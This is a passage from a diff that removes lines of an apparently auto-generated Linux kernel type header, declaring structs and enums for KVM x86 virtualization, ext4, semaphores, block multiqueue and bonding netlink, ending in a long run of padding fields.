iommu_domain *iommu_domain; - bool iommu_noncoherent; - atomic_t noncoherent_dma_count; - atomic_t assigned_device_count; - struct kvm_pic *vpic; - struct kvm_ioapic *vioapic; - struct kvm_pit *vpit; - atomic_t vapics_in_nmi_mode; - struct mutex apic_map_lock; - struct kvm_apic_map *apic_map; - atomic_t apic_map_dirty; - struct rw_semaphore apicv_update_lock; - bool apic_access_memslot_enabled; - long unsigned int apicv_inhibit_reasons; - gpa_t wall_clock; - bool mwait_in_guest; - bool hlt_in_guest; - bool pause_in_guest; - bool cstate_in_guest; - long unsigned int irq_sources_bitmap; - s64 kvmclock_offset; - raw_spinlock_t tsc_write_lock; - u64 last_tsc_nsec; - u64 last_tsc_write; - u32 last_tsc_khz; - u64 last_tsc_offset; - u64 cur_tsc_nsec; - u64 cur_tsc_write; - u64 cur_tsc_offset; - u64 cur_tsc_generation; - int nr_vcpus_matched_tsc; - u32 default_tsc_khz; - seqcount_raw_spinlock_t pvclock_sc; - bool use_master_clock; - u64 master_kernel_ns; - u64 master_cycle_now; - struct delayed_work kvmclock_update_work; - struct delayed_work kvmclock_sync_work; - struct kvm_xen_hvm_config xen_hvm_config; - struct hlist_head mask_notifier_list; - struct kvm_hv hyperv; - struct kvm_xen xen; - bool backwards_tsc_observed; - bool boot_vcpu_runs_old_kvmclock; - u32 bsp_vcpu_id; - u64 disabled_quirks; - int cpu_dirty_logging_count; - enum kvm_irqchip_mode irqchip_mode; - u8 nr_reserved_ioapic_pins; - bool disabled_lapic_found; - bool x2apic_format; - bool x2apic_broadcast_quirk_disabled; - bool guest_can_read_msr_platform_info; - bool exception_payload_enabled; - bool triple_fault_event; - bool bus_lock_detection_enabled; - bool enable_pmu; - u32 notify_window; - u32 notify_vmexit_flags; - bool exit_on_emulation_error; - u32 user_space_msr_mask; - struct kvm_x86_msr_filter *msr_filter; - u32 hypercall_exit_enabled; - bool sgx_provisioning_allowed; - struct kvm_pmu_event_filter *pmu_event_filter; - struct task_struct *nx_lpage_recovery_thread; - bool tdp_mmu_enabled; - struct list_head tdp_mmu_roots; - struct list_head tdp_mmu_pages; - spinlock_t tdp_mmu_pages_lock; - struct workqueue_struct *tdp_mmu_zap_wq; - bool shadow_root_allocated; - u32 max_vcpu_ids; - bool disable_nx_huge_pages; - struct kvm_mmu_memory_cache split_shadow_page_cache; - struct kvm_mmu_memory_cache split_page_header_cache; - struct kvm_mmu_memory_cache split_desc_cache; -}; - -struct kvm_io_bus; - -struct kvm_stat_data; - -struct kvm { - rwlock_t mmu_lock; - struct mutex slots_lock; - struct mutex slots_arch_lock; - struct mm_struct *mm; - long unsigned int nr_memslot_pages; - struct kvm_memslots __memslots[4]; - struct kvm_memslots *memslots[2]; - struct xarray vcpu_array; - spinlock_t mn_invalidate_lock; - long unsigned int mn_active_invalidate_count; - struct rcuwait mn_memslots_update_rcuwait; - spinlock_t gpc_lock; - struct list_head gpc_list; - atomic_t online_vcpus; - int max_vcpus; - int created_vcpus; - int last_boosted_vcpu; - struct list_head vm_list; - struct mutex lock; - struct kvm_io_bus *buses[4]; - struct kvm_vm_stat stat; - struct kvm_arch arch; - refcount_t users_count; - struct mutex irq_lock; - struct list_head devices; - u64 manual_dirty_log_protect; - struct dentry *debugfs_dentry; - struct kvm_stat_data **debugfs_stat_data; - struct srcu_struct srcu; - struct srcu_struct irq_srcu; - pid_t userspace_pid; - bool override_halt_poll_ns; - unsigned int max_halt_poll_ns; - u32 dirty_ring_size; - bool vm_bugged; - bool vm_dead; - char stats_id[48]; -}; - -enum kvm_reg { - VCPU_REGS_RAX = 0, - VCPU_REGS_RCX = 1, - VCPU_REGS_RDX = 2, - VCPU_REGS_RBX = 3, - VCPU_REGS_RSP = 4, - VCPU_REGS_RBP = 5, - VCPU_REGS_RSI = 6, - VCPU_REGS_RDI = 7, - VCPU_REGS_R8 = 8, - VCPU_REGS_R9 = 9, - VCPU_REGS_R10 = 10, - VCPU_REGS_R11 = 11, - VCPU_REGS_R12 = 12, - VCPU_REGS_R13 = 13, - VCPU_REGS_R14 = 14, - VCPU_REGS_R15 = 15, - VCPU_REGS_RIP = 16, - NR_VCPU_REGS = 17, - VCPU_EXREG_PDPTR = 17, - VCPU_EXREG_CR0 = 18, - VCPU_EXREG_CR3 = 19, - VCPU_EXREG_CR4 = 20, - VCPU_EXREG_RFLAGS = 21, - VCPU_EXREG_SEGMENTS = 22, - VCPU_EXREG_EXIT_INFO_1 = 23, - VCPU_EXREG_EXIT_INFO_2 = 24, -}; - -enum exit_fastpath_completion { - EXIT_FASTPATH_NONE = 0, - EXIT_FASTPATH_REENTER_GUEST = 1, - EXIT_FASTPATH_EXIT_HANDLED = 2, -}; - -struct kvm_rmap_head { - long unsigned int val; -}; - -struct kvm_tlb_range { - u64 start_gfn; - u64 pages; -}; - -struct kvm_vcpu_hv_stimer { - struct hrtimer timer; - int index; - union hv_stimer_config config; - u64 count; - u64 exp_time; - struct hv_message msg; - bool msg_pending; -}; - -struct kvm_vcpu_hv_synic { - u64 version; - u64 control; - u64 msg_page; - u64 evt_page; - atomic64_t sint[16]; - atomic_t sint_to_gsi[16]; - long unsigned int auto_eoi_bitmap[4]; - long unsigned int vec_bitmap[4]; - bool active; - bool dont_zero_synic_pages; -}; - -struct kvm_vcpu_hv { - struct kvm_vcpu *vcpu; - u32 vp_index; - u64 hv_vapic; - s64 runtime_offset; - struct kvm_vcpu_hv_synic synic; - struct kvm_hyperv_exit exit; - struct kvm_vcpu_hv_stimer stimer[4]; - long unsigned int stimer_pending_bitmap[1]; - bool enforce_cpuid; - struct { - u32 features_eax; - u32 features_ebx; - u32 features_edx; - u32 enlightenments_eax; - u32 enlightenments_ebx; - u32 syndbg_cap_eax; - u32 nested_eax; - u32 nested_ebx; - } cpuid_cache; -}; - -struct kvm_lpage_info { - int disallow_lpage; -}; - -struct kvm_apic_map { - struct callback_head rcu; - u8 mode; - u32 max_apic_id; - union { - struct kvm_lapic *xapic_flat_map[8]; - struct kvm_lapic *xapic_cluster_map[64]; - }; - struct kvm_lapic *phys_map[0]; -}; - -struct msr_bitmap_range { - u32 flags; - u32 nmsrs; - u32 base; - long unsigned int *bitmap; -}; - -struct kvm_x86_msr_filter { - u8 count; - bool default_allow: 1; - struct msr_bitmap_range ranges[16]; -}; - -enum kvm_apicv_inhibit { - APICV_INHIBIT_REASON_DISABLE = 0, - APICV_INHIBIT_REASON_HYPERV = 1, - APICV_INHIBIT_REASON_ABSENT = 2, - APICV_INHIBIT_REASON_BLOCKIRQ = 3, - APICV_INHIBIT_REASON_APIC_ID_MODIFIED = 4, - APICV_INHIBIT_REASON_APIC_BASE_MODIFIED = 5, - APICV_INHIBIT_REASON_NESTED = 6, - APICV_INHIBIT_REASON_IRQWIN = 7, - APICV_INHIBIT_REASON_PIT_REINJ = 8, - APICV_INHIBIT_REASON_SEV = 9, -}; - -struct msr_data { - bool host_initiated; - u32 index; - u64 data; -}; - -struct x86_instruction_info; - -enum x86_intercept_stage; - -struct kvm_x86_nested_ops; - -struct kvm_x86_ops { - const char *name; - int (*hardware_enable)(); - void (*hardware_disable)(); - void (*hardware_unsetup)(); - bool (*has_emulated_msr)(struct kvm *, u32); - void (*vcpu_after_set_cpuid)(struct kvm_vcpu *); - unsigned int vm_size; - int (*vm_init)(struct kvm *); - void (*vm_destroy)(struct kvm *); - int (*vcpu_precreate)(struct kvm *); - int (*vcpu_create)(struct kvm_vcpu *); - void (*vcpu_free)(struct kvm_vcpu *); - void (*vcpu_reset)(struct kvm_vcpu *, bool); - void (*prepare_switch_to_guest)(struct kvm_vcpu *); - void (*vcpu_load)(struct kvm_vcpu *, int); - void (*vcpu_put)(struct kvm_vcpu *); - void (*update_exception_bitmap)(struct kvm_vcpu *); - int (*get_msr)(struct kvm_vcpu *, struct msr_data *); - int (*set_msr)(struct kvm_vcpu *, struct msr_data *); - u64 (*get_segment_base)(struct kvm_vcpu *, int); - void (*get_segment)(struct kvm_vcpu *, struct kvm_segment *, int); - int (*get_cpl)(struct kvm_vcpu *); - void (*set_segment)(struct kvm_vcpu *, struct kvm_segment *, int); - void (*get_cs_db_l_bits)(struct kvm_vcpu *, int *, int *); - void (*set_cr0)(struct kvm_vcpu *, long unsigned int); - void (*post_set_cr3)(struct kvm_vcpu *, long unsigned int); - bool (*is_valid_cr4)(struct kvm_vcpu *, long unsigned int); - void (*set_cr4)(struct kvm_vcpu *, long unsigned int); - int (*set_efer)(struct kvm_vcpu *, u64); - void (*get_idt)(struct kvm_vcpu *, struct desc_ptr *); - void (*set_idt)(struct kvm_vcpu *, struct desc_ptr *); - void (*get_gdt)(struct kvm_vcpu *, struct desc_ptr *); - void (*set_gdt)(struct kvm_vcpu *, struct desc_ptr *); - void (*sync_dirty_debug_regs)(struct kvm_vcpu *); - void (*set_dr7)(struct kvm_vcpu *, long unsigned int); - void (*cache_reg)(struct kvm_vcpu *, enum kvm_reg); - long unsigned int (*get_rflags)(struct kvm_vcpu *); - void (*set_rflags)(struct kvm_vcpu *, long unsigned int); - bool (*get_if_flag)(struct kvm_vcpu *); - void (*flush_tlb_all)(struct kvm_vcpu *); - void (*flush_tlb_current)(struct kvm_vcpu *); - int (*tlb_remote_flush)(struct kvm *); - int (*tlb_remote_flush_with_range)(struct kvm *, struct kvm_tlb_range *); - void (*flush_tlb_gva)(struct kvm_vcpu *, gva_t); - void (*flush_tlb_guest)(struct kvm_vcpu *); - int (*vcpu_pre_run)(struct kvm_vcpu *); - enum exit_fastpath_completion (*vcpu_run)(struct kvm_vcpu *); - int (*handle_exit)(struct kvm_vcpu *, enum exit_fastpath_completion); - int (*skip_emulated_instruction)(struct kvm_vcpu *); - void (*update_emulated_instruction)(struct kvm_vcpu *); - void (*set_interrupt_shadow)(struct kvm_vcpu *, int); - u32 (*get_interrupt_shadow)(struct kvm_vcpu *); - void (*patch_hypercall)(struct kvm_vcpu *, unsigned char *); - void (*inject_irq)(struct kvm_vcpu *, bool); - void (*inject_nmi)(struct kvm_vcpu *); - void (*inject_exception)(struct kvm_vcpu *); - void (*cancel_injection)(struct kvm_vcpu *); - int (*interrupt_allowed)(struct kvm_vcpu *, bool); - int (*nmi_allowed)(struct kvm_vcpu *, bool); - bool (*get_nmi_mask)(struct kvm_vcpu *); - void (*set_nmi_mask)(struct kvm_vcpu *, bool); - void (*enable_nmi_window)(struct kvm_vcpu *); - void (*enable_irq_window)(struct kvm_vcpu *); - void (*update_cr8_intercept)(struct kvm_vcpu *, int, int); - bool (*check_apicv_inhibit_reasons)(enum kvm_apicv_inhibit); - void (*refresh_apicv_exec_ctrl)(struct kvm_vcpu *); - void (*hwapic_irr_update)(struct kvm_vcpu *, int); - void (*hwapic_isr_update)(int); - bool (*guest_apic_has_interrupt)(struct kvm_vcpu *); - void (*load_eoi_exitmap)(struct kvm_vcpu *, u64 *); - void (*set_virtual_apic_mode)(struct kvm_vcpu *); - void (*set_apic_access_page_addr)(struct kvm_vcpu *); - void (*deliver_interrupt)(struct kvm_lapic *, int, int, int); - int (*sync_pir_to_irr)(struct kvm_vcpu *); - int (*set_tss_addr)(struct kvm *, unsigned int); - int (*set_identity_map_addr)(struct kvm *, u64); - u8 (*get_mt_mask)(struct kvm_vcpu *, gfn_t, bool); - void (*load_mmu_pgd)(struct kvm_vcpu *, hpa_t, int); - bool (*has_wbinvd_exit)(); - u64 (*get_l2_tsc_offset)(struct kvm_vcpu *); - u64 (*get_l2_tsc_multiplier)(struct kvm_vcpu *); - void (*write_tsc_offset)(struct kvm_vcpu *, u64); - void (*write_tsc_multiplier)(struct kvm_vcpu *, u64); - void (*get_exit_info)(struct kvm_vcpu *, u32 *, u64 *, u64 *, u32 *, u32 *); - int (*check_intercept)(struct kvm_vcpu *, struct x86_instruction_info *, enum x86_intercept_stage, struct x86_exception *); - void (*handle_exit_irqoff)(struct kvm_vcpu *); - void (*request_immediate_exit)(struct kvm_vcpu *); - void (*sched_in)(struct kvm_vcpu *, int); - int cpu_dirty_log_size; - void (*update_cpu_dirty_logging)(struct kvm_vcpu *); - const struct kvm_x86_nested_ops *nested_ops; - void (*vcpu_blocking)(struct kvm_vcpu *); - void (*vcpu_unblocking)(struct kvm_vcpu *); - int (*pi_update_irte)(struct kvm *, unsigned int, uint32_t, bool); - void (*pi_start_assignment)(struct kvm *); - void (*apicv_post_state_restore)(struct kvm_vcpu *); - bool (*dy_apicv_has_pending_interrupt)(struct kvm_vcpu *); - int (*set_hv_timer)(struct kvm_vcpu *, u64, bool *); - void (*cancel_hv_timer)(struct kvm_vcpu *); - void (*setup_mce)(struct kvm_vcpu *); - int (*smi_allowed)(struct kvm_vcpu *, bool); - int (*enter_smm)(struct kvm_vcpu *, char *); - int (*leave_smm)(struct kvm_vcpu *, const char *); - void (*enable_smi_window)(struct kvm_vcpu *); - int (*mem_enc_ioctl)(struct kvm *, void *); - int (*mem_enc_register_region)(struct kvm *, struct kvm_enc_region *); - int (*mem_enc_unregister_region)(struct kvm *, struct kvm_enc_region *); - int (*vm_copy_enc_context_from)(struct kvm *, unsigned int); - int (*vm_move_enc_context_from)(struct kvm *, unsigned int); - void (*guest_memory_reclaimed)(struct kvm *); - int (*get_msr_feature)(struct kvm_msr_entry *); - bool (*can_emulate_instruction)(struct kvm_vcpu *, int, void *, int); - bool (*apic_init_signal_blocked)(struct kvm_vcpu *); - int (*enable_direct_tlbflush)(struct kvm_vcpu *); - void (*migrate_timers)(struct kvm_vcpu *); - void (*msr_filter_changed)(struct kvm_vcpu *); - int (*complete_emulated_msr)(struct kvm_vcpu *, int); - void (*vcpu_deliver_sipi_vector)(struct kvm_vcpu *, u8); - long unsigned int (*vcpu_get_apicv_inhibit_reasons)(struct kvm_vcpu *); -}; - -struct kvm_x86_nested_ops { - void (*leave_nested)(struct kvm_vcpu *); - bool (*is_exception_vmexit)(struct kvm_vcpu *, u8, u32); - int (*check_events)(struct kvm_vcpu *); - bool (*has_events)(struct kvm_vcpu *); - void (*triple_fault)(struct kvm_vcpu *); - int (*get_state)(struct kvm_vcpu *, struct kvm_nested_state *, unsigned int); - int (*set_state)(struct kvm_vcpu *, struct kvm_nested_state *, struct kvm_nested_state *); - bool (*get_nested_state_pages)(struct kvm_vcpu *); - int (*write_log_dirty)(struct kvm_vcpu *, gpa_t); - int (*enable_evmcs)(struct kvm_vcpu *, uint16_t *); - uint16_t (*get_evmcs_version)(struct kvm_vcpu *); -}; - -struct kvm_io_device; - -struct kvm_io_range { - gpa_t addr; - int len; - struct kvm_io_device *dev; -}; - -struct kvm_io_bus { - int dev_count; - int ioeventfd_count; - struct kvm_io_range range[0]; -}; - -enum kvm_bus { - KVM_MMIO_BUS = 0, - KVM_PIO_BUS = 1, - KVM_VIRTIO_CCW_NOTIFY_BUS = 2, - KVM_FAST_MMIO_BUS = 3, - KVM_NR_BUSES = 4, -}; - -enum kvm_stat_kind { - KVM_STAT_VM = 0, - KVM_STAT_VCPU = 1, -}; - -struct _kvm_stats_desc; - -struct kvm_stat_data { - struct kvm *kvm; - const struct _kvm_stats_desc *desc; - enum kvm_stat_kind kind; -}; - -struct _kvm_stats_desc { - struct kvm_stats_desc desc; - char name[48]; -}; - -enum { - LBR_FORMAT_32 = 0, - LBR_FORMAT_LIP = 1, - LBR_FORMAT_EIP = 2, - LBR_FORMAT_EIP_FLAGS = 3, - LBR_FORMAT_EIP_FLAGS2 = 4, - LBR_FORMAT_INFO = 5, - LBR_FORMAT_TIME = 6, - LBR_FORMAT_INFO2 = 7, - LBR_FORMAT_MAX_KNOWN = 7, -}; - -union x86_pmu_config { - struct { - u64 event: 8; - u64 umask: 8; - u64 usr: 1; - u64 os: 1; - u64 edge: 1; - u64 pc: 1; - u64 interrupt: 1; - u64 __reserved1: 1; - u64 en: 1; - u64 inv: 1; - u64 cmask: 8; - u64 event2: 4; - u64 __reserved2: 4; - u64 go: 1; - u64 ho: 1; - } bits; - u64 value; -}; - -enum transparent_hugepage_flag { - TRANSPARENT_HUGEPAGE_NEVER_DAX = 0, - TRANSPARENT_HUGEPAGE_FLAG = 1, - TRANSPARENT_HUGEPAGE_REQ_MADV_FLAG = 2, - TRANSPARENT_HUGEPAGE_DEFRAG_DIRECT_FLAG = 3, - TRANSPARENT_HUGEPAGE_DEFRAG_KSWAPD_FLAG = 4, - TRANSPARENT_HUGEPAGE_DEFRAG_KSWAPD_OR_MADV_FLAG = 5, - TRANSPARENT_HUGEPAGE_DEFRAG_REQ_MADV_FLAG = 6, - TRANSPARENT_HUGEPAGE_DEFRAG_KHUGEPAGED_FLAG = 7, - TRANSPARENT_HUGEPAGE_USE_ZERO_PAGE_FLAG = 8, -}; - -struct trace_event_raw_hugepage_set_pmd { - struct trace_entry ent; - long unsigned int addr; - long unsigned int pmd; - char __data[0]; -}; - -struct trace_event_raw_hugepage_update { - struct trace_entry ent; - long unsigned int addr; - long unsigned int pte; - long unsigned int clr; - long unsigned int set; - char __data[0]; -}; - -struct trace_event_raw_migration_pmd { - struct trace_entry ent; - long unsigned int addr; - long unsigned int pmd; - char __data[0]; -}; - -struct trace_event_data_offsets_hugepage_set_pmd {}; - -struct trace_event_data_offsets_hugepage_update {}; - -struct trace_event_data_offsets_migration_pmd {}; - -typedef void (*btf_trace_hugepage_set_pmd)(void *, long unsigned int, long unsigned int); - -typedef void (*btf_trace_hugepage_update)(void *, long unsigned int, long unsigned int, long unsigned int, long unsigned int); - -typedef void (*btf_trace_set_migration_pmd)(void *, long unsigned int, long unsigned int); - -typedef void (*btf_trace_remove_migration_pmd)(void *, long unsigned int, long unsigned int); - -struct fscrypt_str { - unsigned char *name; - u32 len; -}; - -struct ext4_dir_entry_hash { - __le32 hash; - __le32 minor_hash; -}; - -struct ext4_dir_entry_2 { - __le32 inode; - __le16 rec_len; - __u8 name_len; - __u8 file_type; - char name[255]; -}; - -struct fname; - -struct dir_private_info { - struct rb_root root; - struct rb_node *curr_node; - struct fname *extra_fname; - loff_t last_pos; - __u32 curr_hash; - __u32 curr_minor_hash; - __u32 next_hash; -}; - -struct fname { - __u32 hash; - __u32 minor_hash; - struct rb_node rb_hash; - struct fname *next; - __u32 inode; - __u8 name_len; - __u8 file_type; - char name[0]; -}; - -struct sem; - -struct sem_queue; - -struct sem_undo; - -struct semid_ds { - struct ipc_perm sem_perm; - __kernel_old_time_t sem_otime; - __kernel_old_time_t sem_ctime; - struct sem *sem_base; - struct sem_queue *sem_pending; - struct sem_queue **sem_pending_last; - struct sem_undo *undo; - short unsigned int sem_nsems; -}; - -struct sem { - int semval; - struct pid *sempid; - spinlock_t lock; - struct list_head pending_alter; - struct list_head pending_const; - time64_t sem_otime; - long: 64; -}; - -struct sem_queue { - struct list_head list; - struct task_struct *sleeper; - struct sem_undo *undo; - struct pid *pid; - int status; - struct sembuf *sops; - struct sembuf *blocking; - int nsops; - bool alter; - bool dupsop; -}; - -struct sem_undo { - struct list_head list_proc; - struct callback_head rcu; - struct sem_undo_list *ulp; - struct list_head list_id; - int semid; - short int *semadj; -}; - -struct semid64_ds { - struct ipc64_perm sem_perm; - __kernel_long_t sem_otime; - __kernel_ulong_t __unused1; - __kernel_long_t sem_ctime; - __kernel_ulong_t __unused2; - __kernel_ulong_t sem_nsems; - __kernel_ulong_t __unused3; - __kernel_ulong_t __unused4; -}; - -struct seminfo { - int semmap; - int semmni; - int semmns; - int semmnu; - int semmsl; - int semopm; - int semume; - int semusz; - int semvmx; - int semaem; -}; - -struct sem_undo_list { - refcount_t refcnt; - spinlock_t lock; - struct list_head list_proc; -}; - -struct sem_array { - struct kern_ipc_perm sem_perm; - time64_t sem_ctime; - struct list_head pending_alter; - struct list_head pending_const; - struct list_head list_id; - int sem_nsems; - int complex_count; - unsigned int use_global_lock; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct sem sems[0]; -}; - -struct chksum_ctx { - u32 key; -}; - -struct chksum_desc_ctx___2 { - u32 crc; -}; - -typedef bool (*sb_for_each_fn)(struct sbitmap *, unsigned int, void *); - -enum { - BLK_MQ_REQ_NOWAIT = 1, - BLK_MQ_REQ_RESERVED = 2, - BLK_MQ_REQ_PM = 4, -}; - -enum { - BLK_MQ_UNIQUE_TAG_BITS = 16, - BLK_MQ_UNIQUE_TAG_MASK = 65535, -}; - -enum { - BLK_MQ_NO_TAG = 4294967295, - BLK_MQ_TAG_MIN = 1, - BLK_MQ_TAG_MAX = 4294967294, -}; - -struct mq_inflight { - struct block_device *part; - unsigned int inflight[2]; -}; - -struct blk_rq_wait { - struct completion done; - blk_status_t ret; -}; - -struct flush_busy_ctx_data { - struct blk_mq_hw_ctx *hctx; - struct list_head *list; -}; - -struct dispatch_rq_data { - struct blk_mq_hw_ctx *hctx; - struct request *rq; -}; - -enum prep_dispatch { - PREP_DISPATCH_OK = 0, - PREP_DISPATCH_NO_TAG = 1, - PREP_DISPATCH_NO_BUDGET = 2, -}; - -struct rq_iter_data { - struct blk_mq_hw_ctx *hctx; - bool has_rq; -}; - -struct blk_mq_qe_pair { - struct list_head node; - struct request_queue *q; - struct elevator_type *type; -}; - -struct attribute_container { - struct list_head node; - struct klist containers; - struct class *class; - const struct attribute_group *grp; - struct device_attribute **attrs; - int (*match)(struct attribute_container *, struct device *); - long unsigned int flags; -}; - -struct internal_container { - struct klist_node node; - struct attribute_container *cont; - struct device classdev; -}; - -enum { - IFLA_BOND_UNSPEC = 0, - IFLA_BOND_MODE = 1, - IFLA_BOND_ACTIVE_SLAVE = 2, - IFLA_BOND_MIIMON = 3, - IFLA_BOND_UPDELAY = 4, - IFLA_BOND_DOWNDELAY = 5, - IFLA_BOND_USE_CARRIER = 6, - IFLA_BOND_ARP_INTERVAL = 7, - IFLA_BOND_ARP_IP_TARGET = 8, - IFLA_BOND_ARP_VALIDATE = 9, - IFLA_BOND_ARP_ALL_TARGETS = 10, - IFLA_BOND_PRIMARY = 11, - IFLA_BOND_PRIMARY_RESELECT = 12, - IFLA_BOND_FAIL_OVER_MAC = 13, - IFLA_BOND_XMIT_HASH_POLICY = 14, - IFLA_BOND_RESEND_IGMP = 15, - IFLA_BOND_NUM_PEER_NOTIF = 16, - IFLA_BOND_ALL_SLAVES_ACTIVE = 17, - IFLA_BOND_MIN_LINKS = 18, - IFLA_BOND_LP_INTERVAL = 19, - IFLA_BOND_PACKETS_PER_SLAVE = 20, - IFLA_BOND_AD_LACP_RATE = 21, - IFLA_BOND_AD_SELECT = 22, - IFLA_BOND_AD_INFO = 23, - IFLA_BOND_AD_ACTOR_SYS_PRIO = 24, - IFLA_BOND_AD_USER_PORT_KEY = 25, - IFLA_BOND_AD_ACTOR_SYSTEM = 26, - IFLA_BOND_TLB_DYNAMIC_LB = 27, - IFLA_BOND_PEER_NOTIF_DELAY = 28, - IFLA_BOND_AD_LACP_ACTIVE = 29, - IFLA_BOND_MISSED_MAX = 30, - IFLA_BOND_NS_IP6_TARGET = 31, - __IFLA_BOND_MAX = 32, -}; - -enum { - IFLA_BOND_AD_INFO_UNSPEC = 0, - IFLA_BOND_AD_INFO_AGGREGATOR = 1, - IFLA_BOND_AD_INFO_NUM_PORTS = 2, - IFLA_BOND_AD_INFO_ACTOR_KEY = 3, - IFLA_BOND_AD_INFO_PARTNER_KEY = 4, - IFLA_BOND_AD_INFO_PARTNER_MAC = 5, - __IFLA_BOND_AD_INFO_MAX = 6, -}; - -enum { - IFLA_BOND_SLAVE_UNSPEC = 0, - IFLA_BOND_SLAVE_STATE = 1, - IFLA_BOND_SLAVE_MII_STATUS = 2, - IFLA_BOND_SLAVE_LINK_FAILURE_COUNT = 3, - IFLA_BOND_SLAVE_PERM_HWADDR = 4, - IFLA_BOND_SLAVE_QUEUE_ID = 5, - IFLA_BOND_SLAVE_AD_AGGREGATOR_ID = 6, - IFLA_BOND_SLAVE_AD_ACTOR_OPER_PORT_STATE = 7, - IFLA_BOND_SLAVE_AD_PARTNER_OPER_PORT_STATE = 8, - IFLA_BOND_SLAVE_PRIO = 9, - __IFLA_BOND_SLAVE_MAX = 10, -}; - -enum { - LINK_XSTATS_TYPE_UNSPEC = 0, - LINK_XSTATS_TYPE_BRIDGE = 1, - LINK_XSTATS_TYPE_BOND = 2, - __LINK_XSTATS_TYPE_MAX = 3, -}; - -enum { - BOND_XSTATS_UNSPEC = 0, - BOND_XSTATS_3AD = 1, - __BOND_XSTATS_MAX = 2, -}; - -struct eeprom_req_info { - struct ethnl_req_info base; - u32 offset; - u32 length; - u8 page; - u8 bank; - u8 i2c_address; -}; - -struct eeprom_reply_data { - struct ethnl_reply_data base; - u32 length; - u8 *data; -}; - -struct inet_timewait_sock { - struct sock_common __tw_common; - __u32 tw_mark; - volatile unsigned char tw_substate; - unsigned char tw_rcv_wscale; - __be16 tw_sport; - unsigned int tw_transparent: 1; - unsigned int tw_flowlabel: 20; - unsigned int tw_pad: 3; - unsigned int tw_tos: 8; - u32 tw_txhash; - u32 tw_priority; - struct timer_list tw_timer; - struct inet_bind_bucket *tw_tb; -}; - -struct unix_skb_parms { - struct pid *pid; - kuid_t uid; - kgid_t gid; - struct scm_fp_list *fp; - u32 secid; - u32 consumed; -}; - -struct bts_ctx { - struct perf_output_handle handle; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - 